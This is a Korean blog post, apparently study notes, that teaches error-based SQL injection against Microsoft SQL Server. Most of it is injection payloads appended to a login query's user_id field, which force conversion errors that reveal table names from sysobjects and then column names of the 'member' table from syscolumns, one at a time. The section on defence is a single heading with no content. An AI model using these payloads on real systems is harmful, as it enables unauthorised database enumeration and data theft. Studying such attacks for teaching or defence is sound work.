스키마 : DB의 전체적인 설계도
 
sysobjects : 해당 DB의 모든 테이블들의 정보를 보여줌
xtype : 문자들에 따라서 개체유형이 변형됨 U:사용자 테이블을 알려줌
 
select top 1 name from sysobjects where xtype='u'; //최상위 테이블 정보를 뽑아옴
//숫자에 따라 뽑아오는 테이블의 개수가 변한다.
 
select * from member where user_id='pt69' and (select top 1 name from sysobjects where xtype='u')=1;
 
select * from member where user_id='pt69' and (select top 1 name from sysobjects where xtype='u')=1--;

 

select * from member where user_id='pt69' and (select top 1 name from sysobjects where xtype='u' and name != 'zipcode' and name != 'board')=1;--

이런식으로 and를 붙여가면서 찾을 것들을 제외하면 다른 테이블들을 검색할 수 있다.
 
 
 
select * from member where user_id='pt69' and (select top 1 name from sysobjects where xtype='u'
and name != 'zipcode' and name != 'board' and name != 'dtproperties')=1;--
 

select * from member where user_id='pt69' and (select top 1 name from (select top 1 name from sysobjects where xtype='u'
order by name asc) as newtable order by name desc)=1 --' and user_pw='';
//안쪽의 top값만 바꾸면 정렬이되어 새로운 테이블이 출력된다.
 
현재까지 DB이름과 table의 이름을 알아왔다.
 
syscolumns 이름을 가져와보자
syscolumn은 모든 DB의 컬럼이 담겨있다.
 
두개를 이용하여 member table의 컬럼을 출력해보자
select * from sysobjects;
select * from syscolumns
 
 
select name from syscolumns where id=(select id from sysobjects where name='member');

sysobjects syscolumns은 공유매개체가 ID이다
sysobjects에서 member table id613577224이다.
syscolumns에서 id613577224에 해당하는 컬럼을 뽑으면 위와 같은 결과가 나온다.
 
 
select * from member where user_id='pt69' and (select top 1 name from (select top 5 name from syscolumns where id=(select id from sysobjects where name='member') order by name asc) as newtable order by name desc)=1 --' and user_pw='';
위와 같은 query로 컬럼명을 하나씩 뽑아올 수 있다.

실습1

실습2

select * from member where user_id='pt69' and (select top 1 name from syscolumns where id=(select id from sysobjects where name='member') and name !='address1')=1-- 
위와 같이 and를 늘려나가면서 찾는 방법도 있다.



방어 ) 에러메시지를 막는방법


'정보보안 > Web' 카테고리의 다른 글

Stored Procesure,CMD shell  (735) 2020.07.15
Blind SQL Injection  (722) 2020.07.15
CSRF(Cross-site request forgery)공격  (0) 2020.07.15
XSS 공격 우회 및 방어  (0) 2020.07.15
XSS(Cross-Site Script)공격  (0) 2020.07.15

+ Recent posts